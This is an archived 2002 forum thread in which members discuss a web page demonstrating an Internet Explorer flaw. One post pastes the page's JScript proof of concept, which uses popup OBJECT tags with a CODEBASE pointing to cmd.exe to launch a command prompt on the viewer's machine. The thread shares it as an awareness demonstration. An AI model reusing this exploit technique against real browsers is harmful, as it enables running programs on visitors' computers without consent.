IE as usual not very secure... [Archive] - SpeedGuide.net Broadband Community

View Full Version : IE as usual not very secure...


Steven
02-19-02, 11:42 AM
Try going here...

http://www.liquidwd.freeserve.co.uk/

fredra
02-19-02, 12:02 PM
Thanks Steven
When I go to that page absolutely nothing happens...
Two lines of script telling me about a flaw in IE.... then nada...nothing.
Is it supposed to DO ANYTHING?
If it is supposed to exploit an alleged hole in IE, then I have no "hole" to exploit.
Would you be kind enough to clarify?
Thanks

TonyT
02-19-02, 12:22 PM
The page has an activeX control embedded in it.
But, that script has NEVER been a problem for IE5.01SP2 hehehe!



<SCRIPT language=JScript>

var programName=new Array(
'c:/windows/system32/cmd.exe',
'c:/winnt/system32/cmd.exe',
'c:/cmd.exe'
);

function Init(){
var oPopup=window.createPopup();
var oPopBody=oPopup.document.body;
var n,html='';
for(n=0;n<programName.length;n++)
html+="<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111111' CODEBASE='"+programName[n]+"' %1='r'></OBJECT>";
oPopBody.innerHTML=html;
oPopup.show(290, 190, 200, 200, document.body);
}

</SCRIPT>

fredra
02-19-02, 01:13 PM
HEHEHEHEHEHEHE :D
Hey Tony...mine is IE6....gotcha pal
:D

Steven
02-19-02, 01:21 PM
Actualy if you have JS disabled then I think you should be fine. IE6 fully patched still allows the code to run.

Otherwise this page will launch cmd.exe

fredra
02-19-02, 01:51 PM
Thanks again Steven
I do have JS disabled so cmd didn't run......
I appreciate the heads up on this one.

TonyT
02-19-02, 04:40 PM
That's what I meant Freda! Gotcha!

I HAVE JS enabled and IE5.01SP2 & NO aunch of a dos prompt

fredra
02-19-02, 06:46 PM
OK TonyT
You got me with that one.
LOL....:D

Croc
02-20-02, 02:47 AM
Hmm, let's start a command shell...
This page doesn't do anything malicious, but is a demonstration of how to execute a program on a remote machine using the marvelously secure Internet Explorer web browser!!

Up until at least 18/02/02, this script would open a command window when viewed in IE5/6 under WindowsXP and Win2k (possibly also WinME). There are currently no patches available using "Windows Update" which will prevent this.
The above is all I got from the site. That and a yellow box with a cross in each of 3 smaller boxes in the top left of the larger box. Guess I am ok, guys. What do you think? :D :confused: :nod:

Croc.